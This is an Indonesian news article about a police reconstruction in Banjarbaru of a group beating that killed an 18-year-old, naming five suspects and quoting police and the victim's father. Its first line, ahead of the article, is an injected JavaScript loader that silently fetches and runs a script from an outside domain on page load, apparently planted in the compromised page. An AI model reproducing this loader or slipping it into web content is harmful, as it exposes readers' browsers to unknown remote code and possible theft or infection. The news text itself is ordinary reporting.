(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sat Reskrim Polres Banjarbaru menggelar rekonstruksi pengeroyokan yang menewaskan Rizky (18). Sebanyak 32 adegan diperagakan dalam reka ulang yang digelar pada Rabu (11/4) pukul 12.00 Wita di halaman Mapolres Banjarbaru.
Sebelumnya kasus pengeroyokan yang menewaskan Rizky warga Jalan Bahari No 7 Kelurahan Cindai Alus Kecamatan Martapura, Kabupten Banjar, terjadi di depan Alfamat Jalan A Yani, Km 36, bundaran Simpang Empat Kota Banjarbaru, Kamis (29/3) dini hari sekitar pukul 02.00 Wita.
Seperti diketahui pihak Kepolisian Polres Banjarbaru berhasil mengamankan 5 tersangka, kurang lebih 1 x 24 jam setelah terjadinya kasus pengeroyokan. Ke 5 tersangka yaitu RZ (17), F (21), FJ (16), AH (22) dan NF.
Meski sempat dilanda hujan, rekonstruksi yang langsung dipimpin oleh Kasat Reskrim Polres Banjarbaru AKP Sudarno dan dihadiri Kasi Pidum Kejaksaan Negeri Banjarbaru Imam Cahyono berjalan lancar hingga adegan terakhir.
“Ada sebanyak 32 adegan yang ditampilkan dan tentunya reskonstruksi ini untuk mendalami kegiatan para tersangka dari awal datang sampai terjadinya pengeroyokan,†ungkap AKP Sudarno.
Dari 32 reka adegan yang diperagakan, ada adegan 5 dan 6 dimana korban mulai cekcok dengan tersangka RZ dan korban mendatangi RZ di  TKP yang telah ditentukan. Selanjutnya pada adegan 7 hingga 28, memperlihatkan saat dimulainya aksi pengeroyokan hingga penusukan kepada korban.
Tepatnya pada adegan ke 11 tersangka AH mencari sela dan menusuk korban di bagian bawah ketiak sebelah kiri menggunakan senjata tajam jenis pisau dan melukai korban. Dilanjutkan pada adegan ke 15, dimana RZ menusukan kunci motor miliknya ke punggung korban. Hingga penusukan terakhir pada adegan 27 AH kembali menusuk korban dengan senjata tajam jenis pisau mengenai pinggang disebelah kanan korban.
Kegiatan rekonstruksi ini juga langsung disaksikan oleh ayah korban, Muhammad Arsad. Seusai kegiatan berakhir, Arsad mengungkapkan bahwa pihak keluarga telah memaafkan para tersangka yang telah merenggut nyawa anak keduanya dari 6 bersaudara itu dan berharap tersangka yang lain untuk segera ditangkap.
“Saya sudah memaafkan lahir batin dan saya harap untuk tersangka yang masih dalam pengejaran untuk segera ditangkap,†ungkapnya
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Reskrim Polres AKP Sudarno mengungkapkan, pihaknya telah mengetahui para tersangka hanya saja saat ini masih dalam tahap pengejaran.
“Kami sudah mengantongi nama para tersangka, saat ini kami masih terus mengejar mereka. Pasti akan kami akan kejar terus,†tandasnya. (rico)
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More
KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
This website uses cookies.